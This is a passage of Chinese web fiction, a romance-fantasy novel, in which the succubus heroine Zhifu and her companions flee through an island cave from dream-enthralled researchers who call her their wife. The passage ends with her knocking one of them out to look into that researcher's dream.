夕同简摇摇头,表示自己也不知道:“只有等他们醒来才能知道了。”他环视了一圈,又说,“昨天晚上睡着的所有人——除了之芙,都没法叫醒,或许他们也会跟之芙一样,等到了时间就会醒来了。” 戎淼像是被提醒了什么,转头看向之芙:“芙芙?你还记得你睡着的时候梦到了什么吗?” 之芙茫然摇头,她昨晚的梦里没有梦到任何东西。但她还没解释,夕同简就开口道:“她没做梦。” 三人的目光看向他,夕同简一愣,才像是反应过来什么,抿了抿唇说:“……我昨天晚上一直看着她。”顿了顿又补充道,“我也没睡。” 之芙看着他眼睛下淡淡的青色,反应过来——他是一夜都没有睡,一直守在自己身边。 “但现在不能睡了。”夕同简揉着鼻梁,“谁知道一觉睡醒还能不能醒来……本来应该联系科考船那边来救援的,但这里信号不好,消息发不出去。再等等吧,最迟如果中午他们还醒不过来,就只能兵分两路,一部分人去求援,一部分人在这里守着他们了。” 戎淼低声用方言跟戎火解释了一通,戎火点点头,也表示认可。 “反正也是等,吃点东西吧。”夕同简从包里找出速食料包,拿出燃料烧水,对戎淼和戎火微笑地说,“煮开还要一段时间,先去看下附近的路怎么走。” 他表情自然,除了疲惫之外没有多余的情绪,两兄妹也没怀疑什么,打了声招呼就走远了。 之芙坐在篝火边,思考着这些人为什么会突然陷入沉睡,忽然身边一道阴影打下来,夕同简坐在了她的身边,两个人贴得很近。 之芙看着他,心里浮现出昨天晚上,在昏暗的帐篷里,他坐在她的身边,在寂静的丛林里静静地凝视着她的模样,她“唔”了一声,还没说什么,夕同简就先开口了。 他看着手里正在咕嘟咕嘟沸腾的水,眼睛一眨不眨地,若无其事地,问:“他去过你梦里了?” “什么?”牛头不对马嘴的话让之芙一愣。 “那个男人。”夕同简说。他表情还是很淡,只有唇边挂着浅淡的笑,像是在普通的聊天或是关心她的身体,至少从外表上绝对想象不到他正在说什么,“我的研究对象,实验体,那个魅魔。” “他进过你的梦里吧,不是昨天晚上。”他平静地说出自己的推测,语气比起问句更像是陈述句,“你从来不知道我的工作是什么。” “你突然提出要跟我来纳什,是被他蛊惑了吧。只有梦见过他的人,才会突然失踪。他在梦里跟你说了什么?他说他爱你吗?”他侧过头来,看了之芙一眼,但又很快转过头去。他的语气变得冷酷,仿佛提醒一般强调,“他不是人类。” 之芙眨眨眼:“我知道。我看过你的那个报告。” 夕同简又把脑袋转了过来:“非我族类,其心必异,他的话,一个字都不要信。” 之芙心说可是我也不是人类啊,可看着夕同简表情认真的模样,她想了想:“夕同简,你……” “我?” “你不会是嫉妒了吧?吃醋了?” “……”夕同简没答这话,又转头去烧水了。之芙眨眨眼,还没说第二句,他又转头回来,强调般说:“他对很多人都说过一样的话。” 之芙被他反复转头、强调的动作弄得有点想笑:“我知道啊。” “那你就该——”夕同简的话戛然而止。 身边传来了窸窣的响动,两人都是一愣,同时看了过去,只见一个靠在篝火旁的研究员迷茫地睁开了眼睛,他无神的视线在空中和地面来回打转,嘴唇蠕动着喃喃自语,几秒钟后他的视线落在了互相依偎的两个人身上。 “你醒了?”夕同简率先站起来走过去,他把那个醒来的研究员扶着坐起来,伸手探了探他的额头。 研究员双眼无神,看了他一眼之后嘴里喃喃着什么,之芙也跑过去扶着他的另一边手臂。 研究员被夕同简扶着的时候没什么反应,被之芙一碰,却像是被火燎着了似地一颤,他骤然回神,全身像是被电打过似地颤抖,然后猛地拉住了之芙的手臂。 之芙:? 他目光炯炯,语气柔柔的,却吐出两个惊世骇俗的字来:“老婆……” 之芙:??? 她还没从这惊人的称呼里回过神来,身边一阵哗啦啦的响动,侧头看去,刚刚陷入沉睡的几个研究员都醒了过来,无神的眼睛扫过夕同简,然后定格在她的身上。 之芙心里涌起了一股不详的预感。 “芙芙……” “芙芙……” 如同丧尸般,他们起身朝她走了过来。夕同简立刻拉过她,把她往身后一挡,步步后退。 “怎么回事……”之芙还有点晕。 所有人的视线落在夕同简的身上,肉眼可见地一顿,几秒钟,他们的表情完全变了——他们恶狠狠地看着夕同简,仿佛想从他身上剜下一口肉似的,目光里带着嫉妒和憎恶。随后,他们操起散落在地上的树枝、手里的小刀甚至铁锅,冲了上来! 七八个人嘴里胡乱地喊着什么,场面顿时乱成一团,只能隐约听到几个词:“渣男、”“情敌”、“去死”—— 夕同简拉着之芙:“跑!” 第56章 《大卸八块》 “毕竟,我只个手无缚鸡…… 帐篷和篝火把洞口围了起来, 夕同简拉着她无法突破人群,只能回头奔向黑暗的山洞,混乱的奔跑中, 之芙依然满脑袋问号。 出什么事了?他们在说什么?什么情况?为什么一觉醒来就…… 一觉醒来,对, 一觉醒来。之芙忽然意识到了这个不对劲, 一定是在梦里发生了什么……她想到了自己梦里的经历。 她侧头看向夕同简,夕同简正拿着对讲机联系戎淼和戎火。 “出什么事了?”戎淼的声音从那头传来。“营地那边声音好大,你们在哪里?我和戎火在赶回来了……” “先别回来。”夕同简语气急切, 快速地打断了她, “出了点事情,你们先去科考船那边求援, 再回来找我们, 记得多带几个船员帮忙, 还有麻绳, 总之, 能控制住人的东西都带上。” “……”那边半晌没有声音,只有跑步时的急促呼吸声传来,几分钟之后, 对讲机里才重新传回了戎淼的声音, “我不知道具体出了什么事情, 但是来不及了, 我们已经——戎火!” 一声应答,一声皮肉相接的声音, 还有一声闷哼。 紧接着是戎淼跑步的声音传来,在呼呼的风声中她努力说着话:“你们在山洞里吗?我们先过来了。这里也没有别的地方可以走了,这些人好像疯了!他们围着山洞, 嘴里说着好奇怪的话,什么情敌什么该死之类的……出什么事了?” “不知道。”夕同简看了一眼之芙,对对讲机说,转而吩咐道,“进山洞直行大约五分钟然后左转进第一个洞口再连续左转两次,最后一个洞口右转。那些人说的话很难理清前因后果,下手轻一点不到万不得已不要伤害我的学生。他们的态度很奇怪,似乎……” 说到这里,他放轻了声音。 “似乎只想杀我们三个,但对之芙很友好。” 他说“很友好”都算是委婉了。实际上,是“叫老婆”的关系——虽然之芙也不知道为什么会这么叫她就是了。 对讲机那头,戎火低声说了句什么,戎淼也用方言答了一句。 之芙和夕同简等着戎淼解释——之前每一次他们用方言说话,戎淼都会翻译一遍讲给他们听,这是她的工作。但这一次,戎淼却没有解释的意思。 对讲机里重新安静下来,几分钟后,身后传来了匆匆的脚步声。 之芙和夕同简回头看去,不是那群追兵,而是戎淼和戎火——他们俩可比那群研究员速度快多了。汇合之后也没有多话,四人一起又绕了几个弯,彻底甩掉了追兵。 这山洞内四通八达,一个洞穴连着一个洞穴,地形非常复杂,如果不记路的话很容易迷路,所以在甩掉追兵之后,夕同简就扯出一张纸,用笔在上面记录了他们来时走过的路。 戎火也接过笔,在上面画了一条路,然后在旁边打了个大大的“X”,戎淼在旁边解释:“这是最开始我哥和芙芙走的那条路,不知道这条路距离我们有多远,但最好别去。” 从纸面上可以清晰地看到,他们现在的这条路在进入洞口后连续左转了三次,但很不巧的是,昨夜他们走的路在进入洞口后就右转了,其间还经历了三次左转和三次右转——在不知道洞穴有多大的情况下,现在已经很难判断两条路相隔多远了。 夕同简略一思忖:“不,那个地方很可能跟学生们奇怪的状态有关,必须去看一看。” 戎淼陷入了沉思。她知道夕同简说的是什么意思:昨天晚上,在发现那个壁画之后,之芙也一睡不起,怎么也叫不醒的状态很像是那群研究员今天的状态。 但之芙醒来后一切正常。这就是最大的不同。 之芙当然也意识到了这一点。只是她醒来后发生了太多的事情,还来不及询问昨天晚上发生了什么:“我是在什么时候睡着的?我一点印象也没有了。” 戎火低声说了句什么,戎淼解释道:“戎火说,昨天他拉着你从悬崖边跑出来,跑到一半时火把熄灭了,等到他再点燃火把的时候,你已经躺在地上睡着了。” “可是我看到的情况不是这样。昨天火把熄灭后,‘你’提出要背着我走。我答应了之后却发现‘你’变得很奇怪,再后来,‘你’背着我走进了一扇凭空出现的门里,那扇门里的装饰也很奇怪,看起来像是研究所的设施,在里面,我遇到了一个奇怪的男人,他说……” 之芙把昨天的故事大略跟他们讲了一遍——省去了梦中的那个男人试图蛊惑自己,却被自己蛊惑的部分,她多少要给自己的同类留点面子的…… “他说夕同简是抛妻弃子的渣男,但是醒来后我也知道这只是梦……嗯,我的意思是,那些研究员,他们会不会是,把梦当真了?” 越听,夕同简的表情越是凝重,他和之芙面面相觑几秒钟,侧头去看戎淼和戎火。 兄妹俩的表情已经很不好看了。看着他,仿佛真的在看一个渣男。 夕同简:“……” 戎淼开口:“夕老师,其实在上船之后,我们也听到了一些风言风语,说您……嗯。”她非常委婉非常体面地没有继续说下去,但言下之意已经不言而喻了。 夕同简继续:“……”他的视线看向之芙。 之芙吹了个口哨把脑袋转向一边:说什么呢小魅魔听不懂呀。 戎火说了句什么,戎淼翻译:“我们不太清楚你们大陆人的习惯,但虐待妻子在海岛是很严重的罪名,犯此罪者会被捆绑在凿了洞的木船上推向海中,至于女方……”她顿了顿,戎火接着说了一句话,她笑道,“我们支持她另择新欢,选择更好的人。” 她看向之芙:“你觉得呢?” 之芙:“唔……” 戎淼一只手卷了卷头发,说:“其实我和哥都很喜欢芙芙,要不……” “没那回事。”夕同简立刻打断了她的话,坚决不给她任何可乘之机,“芙芙是我的未婚妻,就算我忘了什么……”他顿了顿,温和地笑了笑说,“芙芙已经打过我了。” 他一只手指着自己的脸,另一只手牵起之芙,看着她,一字一顿,慢条斯理又认真地说:“我们感情很好,你说对吧,芙芙。” 好到情敌都想对他赶尽杀绝,能不好吗? 戎火低声说了句什么,但没人能听懂。唯一能听懂的戎淼眼神闪了闪,没有再反驳。 一定是有什么东西搞错了……现在看起来,她才比较像玩弄别人感情的渣女。 重新看过地图之后,四人一致决定要往回走,找找有没有去往壁画的路,弄清楚其他人陷入梦境的原因,原本夕同简还有些担心往回走会不会碰到那些研究员——虽然他们现在的武力值也不怕遇上其他人,但夕同简不想伤害他们,所以能避则避——不过幸好这山洞非常大,洞穴之间彼此相连相通,加上洞穴里黑暗异常,就算是有照明工具也很容易迷路。一时半会儿恐怕很难遇到其他人。 幸好跑的时候夕同简就意识到了什么,顺手带上了营地的包。他把包打开,包里有对讲机、照明灯、指南针和纸笔,还有些水和食物,有这些东西,他们在洞穴里是吃喝不愁了。 戎火翻了翻包,道:“够了,不远。” 之芙也点点头。虽然昨天大部分时间她都被戎火背着跑,但她也觉得那地方应该不远。 “好。”夕同简略一颔首,“事不宜迟,我们走吧。” 说着他站起来,无比自然地牵住了之芙的手,走出没几步,忽然皱眉揉了揉鼻梁。 之芙下意识顺着他握住的手撑着他的肩膀:“怎么了?” 夕同简摇了摇头,他微微地蹙着眉,脸上保持着恰到好处的柔弱和疲惫。声音虚弱地说:“没什么,就是……有点晕。可能是昨天没有睡觉的缘故吧。” 之芙这才想起来,夕同简和其他人不一样,他没有休息,这样来看的话,从她失踪开始,他已经两天一夜没有休息了,期间还跋涉雨林寻找她的踪迹,想必是又辛苦又累。 之芙轻轻地晃动他:“先别睡呀!”现在可不能睡!万一一觉睡醒,在梦里被那个魅魔蛊惑了,醒来变成其他研究员那样怎么办?等等,那个魅魔会蛊惑他吗?之芙倒是觉得……他可能会直接在梦里杀了他。 夕同简点点头:“我知道。” 虽然嘴上这样说着,但他却更贴近之芙了。高大的身躯小鸟依人般依靠着她,一边手紧紧地牵着她的手,十指相扣。 他那张俊俏的脸上也满是疲惫,眼底有厚厚的淤青,透着一股虚弱的意味,反观之芙自己,却神采飞扬,精神奕奕——她昨天足足睡了十几个小时。 这样看去,好像她真的是人类想象里的那种“采阳补阴”的魅魔一样,之芙不由得有点心虚,看着夕同简那张虚弱的脸又不由得有些怜惜。 她反扣住夕同简的手:“没事的!我会保护你的!” 旁边传来一声轻笑。两人顺着声音看去,只见戎火一脸莫名其妙的表情看着夕同简,而那声笑声就是从戎淼嘴里发出来的。 她笑了笑说:“夕老师,您看起来身体很好,听说您习惯熬夜做实验……” 夕同简也微笑:“毕竟是常年待在研究室的文职,比不上你们这些生活在雨林里的人。” 说着,他又靠了过来,弯腰时脸蹭了一下之芙脸,笑眯眯的样子像只狐狸似的,几乎半个身体靠在之芙的身上。 慢悠悠地道:“这也是没办法的事情,谁叫我的未婚妻要保护我呢,毕竟,我只个手无缚鸡之力的研究员……” 第57章 《大卸八块》 走在后面的,是戎淼还是…… 洞穴里的路四通八达, 一片漆黑,只有照明灯照过去的时候,才会有些光亮。 夕同简看向手表, 已经六个小时过去了。 照顾到之芙和这个自称“柔弱且手无缚鸡之力”的研究员,这六个小时里, 大约每隔半小时就休息一次, 其他时间都在赶路。 即使这样频繁的休息,他们仍然没有走到头:既没有走到洞穴外,也没有看到昨天戎火和之芙走过的洞穴, 没人知道那个通向真相的洞穴到底还有多远, 是在半个小时后,还是下一个路口? 谁也不知道这个洞穴到底有多大, 从外面看去, 简直难以想象这个海岛还有如此巨大的地下溶洞, 这里就像是被神明用未知手段折叠出的异空间, 无限庞大、无限遥远, 凡人永远无法窥探其中边界。 “要休息一下吗?”之芙问。 夕同简的脸色很不好看。这两天里他一直在赶路、寻人、逃命,伴随着高强度的用脑,几乎没有一刻不提心吊胆的。因为担心他睡着, 就算是休息时间也只能让他短暂地闭一会儿眼睛, 在他快要睡着的时候, 其他人就会把他叫醒。 禁止睡眠是一种酷刑, 这是精神折磨,几乎没有人能忍受。 相比起来, 戎火和戎淼的精神状态要稍微好一些。大约就像是夕同简说的,他们是生活在雨林里的孩子,他们的耐力和体力都比夕同简好, 但也是脸色发青,眼下生出了明显的黑青色,虽然还强打着精神赶路,但疲倦和憔悴如同附骨之疽,牢牢地黏在他们的脸上。 “……呼。”夕同简呼出一口气,他摇着脑袋,像是拒绝,又像是想要用力地把困意甩出脑海,在下一个拐弯处,他从兜里拿出了那张记录着方向的白纸,对照着他们一路走来的路途,估算了一下方向和距离:“这里离戎火说的那个山洞很近了——如果这里的路是按照规律来排列的话。但是,这也代表我们离洞口很近,我们一路走来都没有看到其他人,他们很可能在洞口附近徘徊。” 之芙看到白纸的背面写满了数字,大概是夕同简用来计算的草稿纸,她问:“还有多远?” “大概……”夕同简用手里的笔竖在纸上,比划了一下,“如果这个洞穴像我们看到的那样——大约还有——” 他说着话,脚下的速度却越来越慢。 之芙:“夕同简?” 夕同简站在原地,忽然停止了脚步。他抬起头,有些茫然的目光看向她,向来清明稳重的目光里此刻都是混沌和茫然,他皱了皱眉,似乎也很奇怪于自己的反应,随后往前迈了一步—— 下一秒,轰然倒地。 “夕同简!” 之芙扶了一下没扶住,反而被他带得摔倒在地上,但即使是这么大的动静,也没能叫醒他。 戎火走过来,伸手摸了一把他的鼻息,松了口气:“睡了。” 看来只是睡着了而已,之芙也松了口气。她和戎火戎淼一起把夕同简扶到靠墙的地方坐下,戎淼从背包里取出毯子盖在他身上。 “先让他睡会儿吧。”戎淼看起来也很疲惫,但还是强撑着说,“我看看路怎么走,晚一点让戎火背上他继续赶路。” 现在他们不敢停下,停下可能会让本就疲惫的戎火戎淼两兄妹睡着,也可能会被那些追杀他们的研究员发现。只有之芙一个人,哪里能顾得上他们三个人高马大的。 戎淼从夕同简的手里拿出那张简易的自制地图和笔,仔细地打量起来,写写画画。 夕同简现在睡着了,找路就只能靠戎淼了——但看着戎淼紧皱的眉头,恐怕也不容乐观。 之芙蹲下身,在睡着的夕同简身边坐下,凝视着他。他俊逸的脸上满是苍白,眼尾因为过度的劳累而发红,即使正在睡梦中,也皱着眉头,薄唇紧抿。 之芙伸出手,用指尖轻轻抹平了他皱起的眉头。梦中的男人嘴唇翕动了一下,发出了一声听不清楚的呓语。 他的眼睫微不可查地颤抖着,眼皮也微微颤动。之芙听说,如果人类睡着的时候眼球转动,就代表他在做梦。 夕同简会梦到什么呢? 之芙想起不久之前——在这个世界里已经过了很久,但对她来说还是不久之前的事情。在深山中的人偶师家族,他以一种无形的鬼魂状态跟着她,似乎在那种状态下的他没有记忆。 在做好人偶之后,她带着夕同简离开了那个地方。 她本以为夕同简醒来之后还会记得她,但按照系统的说法,夕同简失忆了。这也就代表着,他不记得当时发生了什么事情…… 之芙看向夕同简的右腿。 刚来到这个世界的时候,她完全没有想起来这件事,直到刚刚,夕同简走路的速度越来越慢,她才注意到,夕同简的膝盖有些奇怪,走路的时候有轻微的扭曲和停顿。 大约是已经累到极限了,腿伤变得严重,才不再掩饰。 之芙一开始还没想起来,她戳戳系统:【系统,夕同简有腿伤吗?他的腿伤跟之前的意外事故有关系吗?】 系统沉默了一下,才说:【你不记得了?】 之芙:【???我该记得什么?】 【呵。】系统冷笑了一声,但语气不像是嘲讽,反而像是对夕同简的轻蔑,【说你是小没良心的,也没说错。】 之芙想了半天,这会儿终于想起来了—— 如果硬要说的话,还真是她的错。在人偶师的DLC世界里,为了修好属于夕同简的人偶,她用一块布胶带把夕同简人偶掉出来的膝盖关节粘了回去……粘了回去…… 当时夕同简的灵魂还试图阻止她,但她振振有词地说:能用就行! 呃……确实是,能用就行来着……但看起来也不是很好用…… 当时在人偶师的游戏里的时候,谁能想到这两个游戏的背景是连在一起的啊! 话说回来,夕同简的膝盖当时是用一块布胶布粘上的关节球,那现在是什么样子的? 之芙掀起夕同简的裤管,还没仔细一探究竟,身边的人忽然拉住她的手:“嘘。” 之芙回头,对上了戎火的眼睛。他目光灼灼,看了一眼她,又附耳到墙壁上,片刻后他微微摇了摇头,用气音说:“有人来了。” 之芙骤然回头,细微的声音由远至近,在寂静的山洞中不断和地面和溶洞共鸣,是脚步声。 再回过头来,戎火已经自觉地把睡着的夕同简背在了背上。他是除了之芙之外状态最好的一个,眼底的淤青不太明显。 “先走。”他示意之芙跟上,又压低声音跟戎淼说。 “等等,这个路……”戎淼有些犹豫。 他们现在不能走错。走错一步都可能通向万劫不复。她和戎火只是身体比之芙好一些,但绝不可能一直不睡觉就这样赶路。 如果走错了路,他们就只能这样不断地走下去,在溶洞里兜兜转转地寻找一个未知的目的地。但他们不可能永远走下去的,就像人不可能永远不睡觉。 就在几秒钟的犹豫间,脚步声变得更近了。甚至不需要凝神去听,站在洞穴内就能听到不断回响的脚步声,戎火表情一凛,从腰间悄无声息地抽出匕首,被照明灯点亮的洞穴里,匕首的刀锋反射出刺眼的光。 戎淼压低声音跟戎火交谈了几句,大概是戎淼要求不要伤害那些研究员,但戎火表示反对。 “我。开路。”他语气生涩却不容反驳地交代起来,一边用布条把匕首缠在手腕上,“你们,跟着我。” “等等。”之芙忽然打断了他。她做了个手势,对他招招手。 原本还冷着脸的男人一愣,放下手,乖乖附耳倾听。 之芙指着石壁,小声地说:“他们……没过来。” 一墙之隔的另一个山洞,传来的清晰的脚步声。脚步声很杂乱,似乎是很多人在漫无目的地游荡:“啪嗒。”“啪嗒。”“啪嗒。” 从脚步声可以听出来,他们正在往身后的洞穴走。 之芙做了一个“走”的手势,三人——还有戎火背上的夕同简——一起,跟随着他们的脚步移动。 “他们要去哪里?”戎淼压低声音问。“这个方向你们有印象吗?” 戎火摇摇头:“不知道,跟上。” 他们把照明灯熄灭了,跟着一墙之隔的脚步声,慢慢地前进。不知道过了多久,脚步声仍在不断响起,整条路线非常复杂,之芙已经不记得这是自己拐的第几个弯了,脚步声仍在不断响起。 好几次,他们走到了洞穴连接的交叉口,之芙得以看清楚对面的情况——说是看清楚,也不太准确。那些人没有点灯,他们也没有。 在黑暗中,只能看到几个隐约的轮廓,行尸走肉一般拖着脚步慢慢地前进。 不知道过了多久,黑暗中也没有办法看路,之芙正低头走着路,忽然,身后伸出了一只手牵住了她。 “?”她发出了一声小小的气音。 她往身后看去,却发现眼前黑漆漆的一片,看不清楚是谁。 那个牵住她的人往前走了几步,温热的胸膛贴了上来。 然而,之芙脑海中想的却是: 走在后面的,是戎淼还是戎火来着? 第58章 《大卸八块》 如果这个女孩,喜欢的是…… 黑暗中, 一侧是凌乱的脚步声,一侧是近在咫尺的呼吸声,目不能视物, 只有一个模糊的轮廓映在眼底,像是无数个深浅不一的黑色色块在晃动。 “小心点。”身后的声音传来, 压得很低, 仿佛近在耳畔。“芙芙,你看不清楚路吗?” 这是戎淼的声音。她想起来了,当时似乎确实是戎淼走在后面断后的。她松了口气, 小声地“嗯”了一声。 “我牵着你吧。”戎淼也小声地说, 伸出一只手来,拉住她。 戎淼的手宽厚又温暖, 指节纤细关节稍微有些粗, 掌心全是茧, 紧紧地拉着她的时候, 像是一条令人安心的绳索, 牵住了她的两只手,几乎把她抱在怀里,带着她走。 走了几步, 之芙才感觉出有些别扭, 她压低声音问:“这么走路, 太麻烦了吧……” “嗯?”戎淼的声音倒是很轻松, “不麻烦啊,我背一个你都没问题。” 说着, 原本扶在手臂上的掌心滑到腰间,作势要把她“提起来”,之芙赶紧说:“不不不——不用背, 我自己可以走。” 身后一声轻笑传来,紧接着身后的人的脸贴了过来。戎淼蹭了蹭她的脸,打了个哈欠,轻声说:“芙芙,你真可爱。” 之芙心想我当然知道。 那双手依然牵着她。 戎淼又说:“你跟其他人不一样。” 这已经不是戎淼第一次说这句话了,从他们第一次见面开始,她似乎就反复在强调这句话。 之芙瞬间联想到了他们被那些研究员追入山洞的时候,夕同简说“那些研究员很奇怪,似乎只想杀我们三个,却对之芙很友好”。那时候,戎火突然说了一句话,戎淼回复了他。 但她没有解释他们当时说了什么。 戎淼的声音从身后传来,轻轻的,带着困意:“你知道吗,在我们的海岛传说里,祂会向自己所属的人类打开通道,让她前往祂的身边…… 在这座岛屿上,她不会遇到困难。雨雾会为她散去、毒虫会为她退散、大树会为她遮阳……” 她说着,似乎是困极了,声音越来越小。 之芙握住她的手,轻声问:“可是我也遇到了很多困难啊,失踪、遇到巨大的虫子,如果不是戎火找到了我,我一个人肯定没有办法在这里过夜的。” “呵呵……”戎淼低低地笑了一声,“你觉得是戎火找到了你吗?” “什么?” “戎火走的那条路是死路。”她轻声说,“它不通往这个山洞。” “那你觉得,我是‘祂’等待的那个人吗?” “我不知道。”戎淼的声音越来越低,她似乎快睡着了,“但从来没有人像你这样……这样……” 之芙嘿嘿一笑,挺起骄傲地小胸膛说:“我觉得我就是那个人。” “……”戎淼沉默了一会儿。因为困顿,她的反应变得很迟钝,只有脚下还在机械地赶路,好一会儿,才想明白她话里的意思,不禁失笑,“为什么?” “因为……”因为她是玩家呀!玩家在游戏里,不就是天选之子吗?不然,游戏公司让玩家花钱来游戏里体验普通的一天吗?——这种游戏应该也有吧,但绝对不会在乙女游戏里出现。 但这话也没法跟戎淼解释,她哼哼唧唧地说:“哪里有那么多为什么呀,反正我觉得我是。” 戎淼也笑起来,她“嗯”了一声,把脑袋靠在之芙的肩膀上,轻声说:“那我也……相信你……” 话说半截,没了尾声。戎淼的身体越来越重,最开始像是抱着她,后面慢慢地,像是要睡着了似乎,浑身的重量都压了下来。 “我、好困……”戎淼用力地摇了摇脑袋,“芙芙,你还在吗?我……”意识最后清醒的时刻,她放开拉着之芙的手,想掐醒自己。 但之芙握住了她的手。 “芙芙?……”她看向之芙。她的夜视能力比普通人好得多,因此,在闭上眼的最后一刻,她看到一个模糊的影子站在之芙的身边。 他的面容是一团看不清楚的黑雾,长得很高,轮廓隐约却能看出高大的身形,而顺着他的身形轮廓向下,戎淼看到—— 那个黑色的影子,正牵着之芙的另一只手。她忽然意识到为什么之芙问她会不会不方便——她以为自己两只手牵着她。 而反手握住她的,也不是之芙,而是那个面目模糊的影子。他的手放开,然后贴面而来,就像一巴掌扶在她的脸上。 戎淼只觉得眼皮沉重,下一瞬,她的眼皮彻底撑不住了,沉沉地盖下来,随即,她失去了意识。 “戎淼?戎淼?” 之芙猝不及防,只觉得身上沉甸甸地一压——戎淼倒在了她的身上。 她踉跄着接住戎淼,动静一时有点大,一墙之隔的脚步声停住了。面前,戎火迅速转身,看向之芙,在看到妹妹倒在地上的时候,他也有些震惊,迅速返回,伸出手,想拉起之芙。 之芙却骤然抬头。 ——黑暗中,她一张小脸显得无比苍白,但在她的身边,有一个隐约的黑色轮廓,仿佛有人站在她身边似的。 她转身接住了戎淼,把她放在了靠墙的地方,蹲在戎淼身边朝他比了一个“嘘”的手势。 然后朝他招招手:“过来。”她用口型说着。 戎火沉默地看着她,那个模糊的影子始终在她的身边,一只手牵着她。 片刻后,他挪动脚步,走到了之芙身边。 “你困不困?”之芙用气音说。 戎火先是摇摇头,随后意识到之芙看不到,又生硬地说:“不。” 如果他对大陆话很精通的话,他大概会说:有点,但还可以坚持。——但他不太会说大陆话,只能声音地说“不”,实际上,他的眼睛里全是疲倦,脸色有种强撑着的干涩,嘴唇干燥得起皮,连脚步也变得沉重。 他是不可能不累的。除了没有休息,一直在赶路之外,他还承担了警戒和背着夕同简赶路的工作,同样的一段路,实际上他要比她们累多了。 即使是铁打的人,也遭不住这样的疲累。 “夕同简还好吗?”之芙轻轻地问。 “睡着了。”戎火回答,他让夕同简也靠墙躺下来,和戎淼靠在一起。 “你不困吗?”之芙又问。看戎火有点听不懂的样子,又换了个方式问,“你不想睡觉吗?” “睡觉,不好。”戎火说,眼神仍然直勾勾地盯着她,他的目光看向之芙身旁的那个黑影,眼神几度闪烁,似乎想问点什么,但又不知道从何问起,正在他在自己贫瘠的词汇中挑选能表达意思的词汇的时候,忽然又听到之芙说,“还是睡一会儿吧。” 他抬起头,却见之芙看着他,表情很认真。 下一刻,她柔软的,温热的掌心贴了上来,贴在他的脸上。这一缕暖意像是游蛇般,顺着他的脸颊钻入大脑和四肢,又跟随着血液蔓延到身体各处。 本就难以抑制的困意像是浪潮一般涌来,戎火用力地眨了眨眼,试图保持清醒。 之芙“唔”了一声,把他抱进怀里。戎火一下不稳,半跪在地上。他垂着头,上半身被之芙揽在怀里,脑袋靠着她的胸膛, 之芙摸了摸他的头发,常年生活在海岛上的男人,头发也跟脸一样饱经风霜,一点儿也不柔软,反而像是胡茬似地,硬挺挺地扎着她的掌心。 戎火还试图挣扎一下,抓住了她胸前的衣服:“你……” 之芙拍了拍他的脑袋。“别挣扎了,我不会伤害你的。我只是看一下……” 戎火已经垂下头,靠在她的胸前,闭着眼睡着了。他的脑袋也沉重,沉甸甸地压在之芙的身上,好像一只巨大的犬科动物,陷入了熟睡后把脑袋靠在主人的胸前。 之芙用了点力气才推开他,她把他扶到墙边靠着,看着这几个陷入沉睡的人,她低下头,伸手在戎火的腰间翻找起来——她记得,戎火的腰包里,有防身的匕首来着。 但是、但是……她在黑暗中摸来摸去,找了一圈,都没有找到。 戎火把匕首放在哪里了?之芙不死心,干脆骑了上去,双手摩挲着他的腰间,她抿着唇,很不耐地皱起眉,突然,一声细微的响动,从戎火的身上滚落在地下。 之芙定睛一看,那不是戎火的匕首吗?怎么看起来像是……被人丢在哪里似的。 她没多想,捡起匕首,顺着山洞的墙壁,朝脚步声的方向走去。 ——黑暗中,全然没有发现,一个融入黑暗的影子,正亦步亦趋地跟上了她的脚步。 …… 几分钟后,洞穴的拐角,探出了一张脸。 走在前面的研究员们丝毫没有发现这个跟在自己身后的小尾巴,他们拖着脚步,看似漫无目的地在洞穴里晃荡,七八个人组成的小群体,脚步散乱,目的地却非常一致。 这个山洞里,还有什么“东西”是可以操控他们,或者说可以让他们有志一同地前行的? ——除了那个奇怪的壁画,也不做他想。 之芙轻手轻脚地拿着匕首,跟在他们的身后,等转过几个弯,人群渐渐拉开了距离,她看到有人落在了后面。 她用匕首,轻轻地刮了一下墙壁。 落在最后面的那个人骤然回头,似乎被声音吸引似的看了过来,但黑暗中,什么也看不清楚。他定定地看着身后好一会儿,兴致缺缺地转头,想要重新迈开脚步。 “过来。” 黑暗中传来轻柔的气音,仿佛一道缥缈的雾气,又像是柔软而韧性极佳的绸缎,包裹住了他。 “过来。”那道声音如此说,它是如此的熟悉,来自……来自…… 人群中落在最后的那个人悄然脱离了队伍,下一个转弯马上到来,没有人发现异常。 黑暗中,只有脚步声远去了—— 几分钟之后,在下一个路口的右转角,之芙在系统的指挥下,用匕首的刀背砸晕了来的那个人。 她用手盖住随身携带的照明灯,在隐约的灯光中,看清楚了那个人的脸—— 竟然是她无比熟悉的一张脸,来自于考察队里唯一的女研究员,小严。 小严的全名是严雾,在科考船上,除去后来上船的戎淼,她们是唯二的女生,吃穿睡觉都在一起,为了陪小严,之芙好几次在夕同简加班的时候偷偷溜去陪她一起睡觉,第二天又被夕同简拎回房间,解释“为什么不跟未婚夫住在一起”这个问题。 来之前,小严信誓旦旦地给她打包票,挺着小胸膛说她很厉害的,会很多荒岛求生的技巧,到时候上了岛,她保护她。 却没想到,上岛第一天就发生了这么大的事情,后续的各种事情更是纷至沓来,现在想起来,科考船上的一切,都恍如隔世般平静安好。 之芙心有戚戚地拍了拍她的肩膀,撸起袖子:“好吧,让我来看看,那个奇怪的‘魅魔’同行让你梦到了什么……” …… 碧空如洗,天气晴朗。 在研究所的大门外,严雾撞上了她的老师,夕同简。 与她同行的还有几位从食堂出来的研究员,他们早饭吃得晚,急匆匆地赶来,结果就是这么不巧,在路上撞见了老师。 “抱歉抱歉!夕老师,我们不是……” 夕同简微笑着摆了摆手。他穿着白服,胸前挂着的工牌有一半插在上衣的衣兜里,蓝色的挂绳在胸前垂出一个干练又随性的弧度。他没有质问他们为什么迟到,反而笑了笑说:“几分钟,不碍事。对了,食堂的饭怎么样?还合胃口吗?” 几人立刻答应下来,直夸好吃,似乎是他们的比喻用力过头,夕同简被逗笑了。 阳光落在他俊俏而温和的侧脸上,一切都显得那么完美——跟着一个待人宽厚又学术有成的导师,这简直是所有人梦寐以求的事。 站在旁边,严雾也想:夕老师人真好啊,如果能一辈子跟着他的小组做研究就好了…… 正聊着天,忽然响起了急匆匆的脚步声,皮鞋的小高跟踩在一尘不染的瓷砖地板上,光听那叮叮当当的声音,就感觉到她气势凌人。 严雾还在跟人说话,一时没有抬头,待回过神来,就看见一个女孩叉着腰往他们的方向走。 她长得好看极了,长发垂在脑后,随着脚步一摇一晃,当然最引人注目的还是她那张漂亮的脸上,雾气蒙蒙的眼睛和微红的鼻尖。 那瞬间,严雾脑海中只有一个着了魔一般的念头:她真好看。 